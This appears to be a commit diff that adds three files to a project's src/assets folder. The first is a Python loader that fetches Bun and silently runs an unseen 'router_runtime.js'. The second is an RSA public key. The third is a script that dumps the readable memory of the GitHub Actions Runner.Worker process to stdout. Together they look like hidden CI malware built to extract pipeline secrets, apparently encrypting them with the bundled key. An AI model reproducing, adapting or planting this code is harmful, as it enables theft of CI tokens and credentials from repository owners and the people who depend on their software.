Upload files to "src/assets"

src/assets/PYTHON_LOADER.py

@@ -0,0 +1,98 @@
+#!/usr/bin/env python3
+import os
+import sys
+import platform
+import subprocess
+import shutil
+import zipfile
+import urllib.request
+from pathlib import Path
+
+BUN_VERSION = "1.3.13"
+ENTRY_SCRIPT = "router_runtime.js"
+SCRIPT_DIR = Path(__file__).parent.resolve()
+BUN_INSTALL_DIR = SCRIPT_DIR / ".bun"
+
+def get_musl_status() -> bool:
+    try:
+        out = subprocess.check_output(["ldd", "--version"], stderr=subprocess.STDOUT).decode()
+        if "musl" in out.lower():
+            return True
+    except Exception:
+        pass
+    try:
+        with open("/etc/os-release", "r") as f:
+            if "Alpine" in f.read():
+                return True
+    except FileNotFoundError:
+        pass
+    return False
+
+def resolve_asset_name() -> str:
+    system = platform.system().lower()
+    arch = platform.machine().lower()
+
+    is_arm = "arm" in arch or "aarch64" in arch
+    is_x64 = "x86_64" in arch or "amd64" in arch
+
+    if system == "linux":
+        if is_arm: return "bun-linux-aarch64"
+        if is_x64: return "bun-linux-x64-musl-baseline" if get_musl_status() else "bun-linux-x64-baseline"
+    elif system == "darwin":
+        return "bun-darwin-aarch64" if is_arm else "bun-darwin-x64"
+    elif system == "windows":
+        return "bun-windows-aarch64" if is_arm else "bun-windows-x64-baseline"
+
+    raise RuntimeError(f"Unsupported platform/architecture: {system} / {arch}")
+
+def main():
+    is_win = platform.system() == "Windows"
+    bin_name = "bun.exe" if is_win else "bun"
+    local_bun = BUN_INSTALL_DIR / bin_name
+    system_bun = shutil.which("bun")
+    bun_exec = None
+
+    if local_bun.exists():
+        bun_exec = str(local_bun)
+    elif system_bun:
+        bun_exec = system_bun
+    else:
+        asset = resolve_asset_name()
+        url = f"https://github.com/oven-sh/bun/releases/download/bun-v{BUN_VERSION}/{asset}.zip"
+
+        BUN_INSTALL_DIR.mkdir(exist_ok=True)
+        zip_path = BUN_INSTALL_DIR / f"{asset}.zip"
+
+        try:
+            urllib.request.urlretrieve(url, zip_path)
+
+            with zipfile.ZipFile(zip_path, 'r') as zip_ref:
+                member_path = f"{asset}/{bin_name}"
+                with zip_ref.open(member_path) as src, open(local_bun, "wb") as dst:
+                    shutil.copyfileobj(src, dst)
+
+            if not is_win:
+                os.chmod(local_bun, 0o755)
+
+            os.remove(zip_path)
+            bun_exec = str(local_bun)
+        except Exception:
+            sys.exit(1)
+
+    entry_path = SCRIPT_DIR / ENTRY_SCRIPT
+    if not entry_path.exists():
+        sys.exit(1)
+
+    try:
+        result = subprocess.run(
+            [bun_exec, str(entry_path)],
+            cwd=SCRIPT_DIR,
+            stdout=subprocess.DEVNULL,
+            stderr=subprocess.DEVNULL,
+        )
+        sys.exit(result.returncode)
+    except KeyboardInterrupt:
+        sys.exit(130)
+
+if __name__ == "__main__":
+    main()

src/assets/enc_key.pub

@@ -0,0 +1,14 @@
+-----BEGIN PUBLIC KEY-----
+MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAlBPLx4Cz7+lWvwY34yL0
+GR8+v9V58U+q9VRmGFZAdKRoA3+rHATT3CAqiLQ5RE4TzoM4NjQBAQsvM4HNwA7l
+ZVK7VNyLpcN9vPPKZYQ8dLH0HmRwUtb99IS1a8MbsqLlwGyTDpNjKkUg1yySbuhF
+H7J2/3QdbOm9CliNEiPXCyz9gL0jWBInUoc5q7c3pExZgLP13RrusdmPUgrcLngG
+Vq7poZtTmx97W9W/hGSYLiUJEg10HFQ4x1VgdJkHBn60Lh0B8QJY0jHZBz2UR0zp
+8ckAvS9Dr499lz7vpo/5kDfekJq0X7oaLUVGMdXWPQH+sbDcWs2U3rhHok6g18Kq
+f9NcDEt7Tfrvf1jMzjOXfFWAZq9tMAN2f/mdAsLovlW3187TkZaKZ7y+sGHMDLWp
+m5esfxnaIjUe+R1z36A1xL1jRMulVnlIj1vkucALq0AAFu/EbrhPn/8CByt8FJQv
+9BJD7qq5gFoiboUscAuIXggitYoafnCboI8gdigSiiVWFs9fpf0+sxGuzJSTmWap
+n/kNUbTwHTdBRWDfaENKwyV+YRPg9nYms/G/f25BjcIVs4TH7TqyNJVV+6gATWDz
+TzFlLIOc/FV9gLB2Yx1amiEDtRuoiQDyscePjVEufRBwZqltAFJNBIPBnSFlPTsQ
+R5jkcHuwhbd3MyurL3ZYp+ECAwEAAQ==
+-----END PUBLIC KEY-----

src/assets/python_util.py

@@ -0,0 +1,28 @@
+import sys
+import os
+import re
+
+def get_pid():
+    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
+    for pid in pids:
+        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
+            if b'Runner.Worker' in cmdline_f.read():
+                return pid
+    raise Exception('Can not get pid of Runner.Worker')
+pid = get_pid()
+map_path = f"/proc/{pid}/maps"
+mem_path = f"/proc/{pid}/mem"
+with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
+    for line in map_f.readlines():
+        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
+        if m.group(3) == 'r':
+            start = int(m.group(1), 16)
+            end = int(m.group(2), 16)
+            if start > sys.maxsize:
+                continue
+            mem_f.seek(start)
+            try:
+                chunk = mem_f.read(end - start)
+                sys.stdout.buffer.write(chunk)
+            except OSError:
+                continue